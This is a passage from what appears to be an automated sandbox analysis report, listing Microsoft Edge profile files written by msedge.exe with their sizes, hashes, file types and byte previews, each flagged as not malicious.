Size (bytes):	12288
Entropy (8bit):	0.3202460253800455
Encrypted:	false
SSDEEP:	6:l9bNFlEuWk8TRH9MRumWEyE4gLueXdNOmWxFxCxmWxYgCxmW5y/mWz4ynLAtD/W4:TLiuWkMORuHEyESeXdwDQ3SOAtD/ie
MD5:	40B18EC43DB334E7B3F6295C7626F28D
SHA1:	0E46584B0E0A9703C6B2EC1D246F41E63AF2296F
SHA-256:	85E961767239E90A361FB6AA0A3FD9DAA57CAAF9E30599BB70124F1954B751C8
SHA-512:	8BDACDC4A9559E4273AD01407D5D411035EECD927385A51172F401558444AD29B5AD2DC5562D1101244665EBE86BBDDE072E75ECA050B051482005EB6A52CDBD
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DIPS

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.4626786029956542
Encrypted:	false
SSDEEP:	24:TLi5YFQq3qh7z3WMYziciNW9WkZ96UwOfBud:TouQq3qh7z3bY2LNW9WMcUvBud
MD5:	93389FBA2DB3F2ED679A968DC6316A54
SHA1:	8A32805D0BC2407E72BE0E414316C6DDF2A5BFAA
SHA-256:	4D2730C5621AB976D929AB0079D38F6CF95D0AE41B8E9CC98F9C45451DDC12A2
SHA-512:	5C629263D12574306C44DB2239F6B9F8D7E70F819DECDBB80653FA6267E6B60188FCEF09A76E6CE9A978EDB2494E2427AD3DE8335026C5E10B2EBF55059D045B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....8...n................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DawnCache\data_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 512, next free block index 3284796609, field type 0
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.01057775872642915
Encrypted:	false
SSDEEP:	3:MsFl:/F
MD5:	CF89D16BB9107C631DAABF0C0EE58EFB
SHA1:	3AE5D3A7CF1F94A56E42F9A58D90A0B9616AE74B
SHA-256:	D6A5FE39CD672781B256E0E3102F7022635F1D4BB7CFCC90A80FFFE4D0F3877E
SHA-512:	8CB5B059C8105EB91E74A7D5952437AAA1ADA89763C5843E7B0F1B93D9EBE15ED40F287C652229291FAC02D712CF7FF5ECECEF276BA0D7DDC35558A3EC3F77B0
Malicious:	false
Preview:	............$...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DawnCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	8.280239615765425E-4
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2:/M/xT02
MD5:	D0D388F3865D0523E451D6BA0BE34CC4
SHA1:	8571C6A52AACC2747C048E3419E5657B74612995
SHA-256:	902F30C1FB0597D0734BC34B979EC5D131F8F39A4B71B338083821216EC8D61B
SHA-512:	376011D00DE659EB6082A74E862CFAC97A9BB508E0B740761505142E2D24EC1C30AA61EFBC1C0DD08FF0F34734444DE7F77DD90A6CA42B48A4C7FAD5F0BDDD17
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DawnCache\data_2

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.011852361981932763
Encrypted:	false
SSDEEP:	3:MsHlDll:/H
MD5:	0962291D6D367570BEE5454721C17E11
SHA1:	59D10A893EF321A706A9255176761366115BEDCB
SHA-256:	EC1702806F4CC7C42A82FC2B38E89835FDE7C64BB32060E0823C9077CA92EFB7
SHA-512:	F555E961B69E09628EAF9C61F465871E6984CD4D31014F954BB747351DAD9CEA6D17C1DB4BCA2C1EB7F187CB5F3C0518748C339C8B43BBD1DBD94AEAA16F58ED
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DawnCache\data_3

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.012340643231932763
Encrypted:	false
SSDEEP:	3:MsGl3ll:/y
MD5:	41876349CB12D6DB992F1309F22DF3F0
SHA1:	5CF26B3420FC0302CD0A71E8D029739B8765BE27
SHA-256:	E09F42C398D688DCE168570291F1F92D079987DEDA3099A34ADB9E8C0522B30C
SHA-512:	E9A4FC1F7CB6AE2901F8E02354A92C4AAA7A53C640DCF692DB42A27A5ACC2A3BFB25A0DE0EB08AB53983132016E7D43132EA4292E439BB636AAFD53FB6EF907E
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DawnCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 768, next free block index 3284796353, field type 0
Category:	dropped
Size (bytes):	262512
Entropy (8bit):	9.553120663130604E-4
Encrypted:	false
SSDEEP:	3:LsNlLZl/l:Ls31l/l
MD5:	A077FFDDD2257EAA601F5F0B2D1F9DE4
SHA1:	D936AB798619AE86A40D4ACFC631AAB6B5C8F290
SHA-256:	FB0053D91EE0519E7D488A0F855845C8650D9D8E915B2AEA83CAADC9393C8527
SHA-512:	4C757BE8C4DD7D694D44EBCC27E70DD6F493B5AF0254B47241A01589E94BF64AAF9CF40B6F680A5356C82F9874F2652E715B7E02512D6930D4BB1423D6C6A47B
Malicious:	false
Preview:	........................................Q@Ri./.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Edge Profile.ico (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	MS Windows icon resource - 8 icons, 16x16, 32 bits/pixel, 20x20, 32 bits/pixel
Category:	dropped
Size (bytes):	71757
Entropy (8bit):	6.771708343960135
Encrypted:	false
SSDEEP:	1536:vAlMWz7vLDtDSVlXXwpFlorgLUxF+D4n6owPFCawP/:vvuWAUxFaoGw/
MD5:	E5E3377341056643B0494B6842C0B544
SHA1:	D53FD8E256EC9D5CEF8EF5387872E544A2DF9108
SHA-256:	E23040951E464B53B84B11C3466BBD4707A009018819F9AD2A79D1B0B309BC25
SHA-512:	83F09E48D009A5CF83FA9AA8F28187F7F4202C84E2D0D6E5806C468F4A24B2478B73077381D2A21C89AA64884DF3C56E8DC94EB4AD2D6A8085AC2FEB1E26C2EF
Malicious:	false
Preview:	............ .h............. ............... ......... .... .........((.... .h....%..00.... ..%..>@..@@.... .(B...e........ .?p......(....... ..... ..........................................w...x...y...v...j...c...\...N...........................w.<.w...y...x...]...P...M...N...N...N...M...H.<.............w.<.w...y...{...]...P...O...Q...R...P...O...N...K...H.<.........w...y...{...p...P...P...Q...S...Q...P..N...N..K...K.......w...y...{...\|...i...Q...P...S...R.......................I.W.....y...{...}.......c...Q...Q...U.W......3<..6.i.?.V.D.L.L.@.Q<.....{...}..........n...P...S............3.7...;.f.B.P.P.D.U.8.[W.}................P...P.s..........3...7...<.g.H.c.O.R.Y.?.].................u...J...........6..8...?...E.o.O.U.W.L._..............................$...7...@...J.o.O.b.].L.f..+..............................0...;...J...S.h.].X.e.../..0.................!.........2...<...G...P.i.g.Y.m.......1..2..0...0.......+......*...1...8...C...M.~.^.m.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	33
Entropy (8bit):	3.5394429593752084
Encrypted:	false
SSDEEP:	3:iWstvhYNrkUn:iptAd
MD5:	F27314DD366903BBC6141EAE524B0FDE
SHA1:	4714D4A11C53CF4258C3A0246B98E5F5A01FBC12
SHA-256:	68C7AD234755B9EDB06832A084D092660970C89A7305E0C47D327B6AC50DD898
SHA-512:	07A0D529D9458DE5E46385F2A9D77E0987567BA908B53DDB1F83D40D99A72E6B2E3586B9F79C2264A83422C4E7FC6559CAC029A6F969F793F7407212BB3ECD51
Malicious:	false
Preview:	...m.................DB_VERSION.1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	303
Entropy (8bit):	5.186508471262517
Encrypted:	false
SSDEEP:	6:iOrvRHTD1wkn23oH+TcwtnG2tbB2KLl5vRW8M+q2Pwkn23oH+TcwtnG2tMsIFUv:7ZTyfYebn9VFLW+vYfYebn9GFUv
MD5:	FC9C7C8A1DB88501DE4C6DA6A4045A49
SHA1:	C759EFB20C6F3CD6658C83CD3D9A439FBD81478A
SHA-256:	4A4340C45505C79A4D69166C9FA528D95A8AA7F5A7CAA0E9484D0362493354DE
SHA-512:	8A0675D984A3A6106F46DEFF3AEBB56C4F2F059608F685FEFD99C69D6B92C4B61AC5B6EBFEBAC7A719EF59C515C19057D5FEFF5986C684EC80FFB16872572C3E
Malicious:	false
Preview:	2025/01/09-08:40:57.828 81c Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db since it was missing..2025/01/09-08:40:58.211 81c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeEDrop\EdgeEDropSQLite.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 14, database pages 8, cookie 0xe, schema 4, UTF-8, version-valid-for 14
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.494709561094235
Encrypted:	false
SSDEEP:	24:TLEC30OIcqIn2o0FUFlA2cs0US5S693Xlej2:ThLaJUnAg0UB6I
MD5:	CF7760533536E2AF66EA68BC3561B74D
SHA1:	E991DE2EA8F42AE7E0A96A3B3B8AF87A689C8CCD
SHA-256:	E1F183FAE5652BA52F5363A7E28BF62B53E7781314C9AB76B5708AF9918BE066
SHA-512:	38B15FE7503F6DFF9D39BC74AA0150A7FF038029F973BE9A37456CDE6807BCBDEAB06E624331C8DFDABE95A5973B0EE26A391DB2587E614A37ADD50046470162
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...i............t...c................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeHubAppUsage\EdgeHubAppUsageSQLite.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 5, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.612839220966291
Encrypted:	false
SSDEEP:	24:TLqpR+DDNzWjJ0npnyXKUO8+jYGXp2GjmL:Te8D4jJ/6Up+0G4GQ
MD5:	5E8BC43EA0875CCF3C971A5213D002A2
SHA1:	3179E997D4E9465E5F779E216DCE307ADD6390B6
SHA-256:	43831B49018BA11B28D23D607C0CA45C30476FB47CB6226FDBA25789F3971254
SHA-512:	AAF491433EC73B0E1996B3830BD3BDB7E4DA86BEB60AFBD54E1DB9EC719DE945D451DE04399AD9F5D688AA0846AE0ED0CD3B956BA8F73F7AF8B676C2B94939A3
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...%.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	375520
Entropy (8bit):	5.354154173126179
Encrypted:	false
SSDEEP:	6144:UA/imBpx6WdPSxKWcHu5MURacq49QxxPnyEndBuHltBfdK5WNbsVEziP/CfXtLPz:UFdMyq49tEndBuHltBfdK5WNbsVEziPU
MD5:	E50DCECFA1ED3DB7D054CA8A5770844A
SHA1:	44C4C66798B207A43CF188E964B796C352CFF465
SHA-256:	9C8F7C796FF2BAC3160676D2B23722859BAD6B782F6112ED1C35B1E285357586
SHA-512:	F5FC77C112B04567902040D52777242E90FD52B322AFB12CE2C00E565726BD18D5490395A27BD082D3A707962A605E5FEA4A84398F7E6214166C21B1FD2ECBF6
Malicious:	false
Preview:	...m.................DB_VERSION.1....q...............&QUERY_TIMESTAMP:domains_config_gz2...13380903664244031..QUERY:domains_config_gz2....[{"name":"domains_config_gz","url":"https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig","version":{"major":2,"minor":8,"patch":76},"hash":"78Xsq/1H+MXv88uuTT1Rx79Nu2ryKVXh2J6ZzLZd38w=","size":374872}]..*.`~...............ASSET_VERSION:domains_config_gz.2.8.76..ASSET:domains_config_gz...{"config": {"token_limit": 1600, "page_cutoff": 4320, "default_locale_map": {"bg": "bg-bg", "bs": "bs-ba", "el": "el-gr", "en": "en-us", "es": "es-mx", "et": "et-ee", "cs": "cs-cz", "da": "da-dk", "de": "de-de", "fa": "fa-ir", "fi": "fi-fi", "fr": "fr-fr", "he": "he-il", "hr": "hr-hr", "hu": "hu-hu", "id": "id-id", "is": "is-is", "it": "it-it", "ja": "ja-jp", "ko": "ko-kr", "lv": "lv-lv", "lt": "lt-lt", "mk": "mk-mk", "nl": "nl-nl", "nb": "nb-no", "no": "no-no", "pl": "pl-pl", "pt": "pt-pt", "ro": "

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	309
Entropy (8bit):	5.193946362799966
Encrypted:	false
SSDEEP:	6:iOrvRq+RM1wkn23oH+Tcwtk2WwnvB2KLl5vRo3Iq2Pwkn23oH+Tcwtk2WwnvIFUv:7IurfYebkxwnvFLuIvYfYebkxwnQFUv
MD5:	6569FF83DD85F0FD87329008CF44E0BC
SHA1:	8AA069212A8906F437A7A8C19E0EAFAE56F819ED
SHA-256:	805A2E4ABD0110309B3AD0D6F340DAAB927E4CB1B901B48B670B6216DB8B5D08
SHA-512:	178D97E372403D91A360270B94CF397831EB0E6A87E4E43E293E91517502F3876D581AAD6F90943730CDE0A71346BD321B8A97648CBD1DE9B848323F776D2E26
Malicious:	false
Preview:	2025/01/09-08:41:03.422 1974 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db since it was missing..2025/01/09-08:41:03.442 1974 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\domains_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	358860
Entropy (8bit):	5.3246105984430026
Encrypted:	false
SSDEEP:	6144:CgimBVvUrsc6rRA81b/18jyJNjfvrfM6R3:C1gAg1zfvP
MD5:	969C71BA76F6F6EDCD01AF4D0507FB1E
SHA1:	8729F5E7A878BEA99F7C0603173DB3AF3EEC6108
SHA-256:	6BA47E08081CC31E4CBC0F6347627CA8AB7612BE843F71201DFD27D66F724500
SHA-512:	74631AF07922A779BAC4ECDC4D44C39C00D01700A6171CDAB5BE3A6D62091BBE791B0F43A6F50D21710B59C140CBAE62D9E5862399316938EB4AB1D4F4734475
Malicious:	false
Preview:	{"aee_config":{"ar":{"price_regex":{"ae":"(((ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)))","dz":"(((dzd\|da\|\\x{062F}\\x{062C})\\s\\d{1,3})\|(\\d{1,3}\\s(dzd\|da\|\\x{062F}\\x{062C})))","eg":"(((e\\x{00a3}\|egp)\\s\\d{1,3})\|(\\d{1,3}\\s(e\\x{00a3}\|egp)))","ma":"(((mad\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(mad\|dhs\|dh)))","sa":"((\\d{1,3}\\s(sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633}))\|((sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633})\\s\\d{1,3}))"},"product_terms":"((\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{0639}\\x{0631}\\x{0628}\\x{0629})\|(\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{062D}\\x{0642}\\x{064A}\\x{0628}\\x{0629})\|(\\x{0627}\\x{0634}\\x{062A}\\x{0631}\\x{064A}\\s*\\x{0627}\\x{0644}\\x{0622}\\x{0646})\|(\\x{062E}\\x{064A}\\x{0627}\\x{0631}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	209
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	3:FQxlXNQxlXNQxlXNQxlXNQxlXNQxlXNQxlXNQxlXNQxlXNQxlXNQxlX:qTCTCTCTCTCTCTCTCTCTCT
MD5:	478D49D9CCB25AC14589F834EA70FB9E
SHA1:	5D30E87D66E279F8815AFFE4C691AAF1D577A21E
SHA-256:	BB6CC6DF54CF476D95409032C79E065F4E10D512E73F7E16018E550456F753D5
SHA-512:	FB5431054A23D3C532568B1F150873D9130DBC4A88BE19BC2A4907D0DC2888C5B55993154EAD4A6C466E2173092B8705684A6802B850F051639E1F2457387471
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	279
Entropy (8bit):	5.14851288343231
Encrypted:	false
SSDEEP:	6:iOrvRgfs1wkn23oH+Tcwt8aVdg2KLl5vRNrN4q2Pwkn23oH+Tcwt8aPrqIFUv:7CfLfYeb0LTOvYfYebL3FUv
MD5:	6486212866AB058DD15DA4F23D6982EA
SHA1:	D8D5830E5EFE2EAF4871B12EB444EEA60E731D86
SHA-256:	CE601BFB40B960B8D2F4056A0A1A63834249B0BC81C6593DD82CCD7C9CC8CFBF
SHA-512:	E0C0C56372ED17BE49D929C6D02E8B50036FD9B8565EF52AD21E0AD3C32540047B98AD555D8129279650E0641227C49D8715F18DEC763279040EEE56CC6830C3
Malicious:	false
Preview:	2025/01/09-08:40:57.872 4a0 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules since it was missing..2025/01/09-08:40:57.889 4a0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	209
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	3:FQxlXNQxlXNQxlXNQxlXNQxlXNQxlXNQxlXNQxlXNQxlXNQxlXNQxlX:qTCTCTCTCTCTCTCTCTCTCT
MD5:	478D49D9CCB25AC14589F834EA70FB9E
SHA1:	5D30E87D66E279F8815AFFE4C691AAF1D577A21E
SHA-256:	BB6CC6DF54CF476D95409032C79E065F4E10D512E73F7E16018E550456F753D5
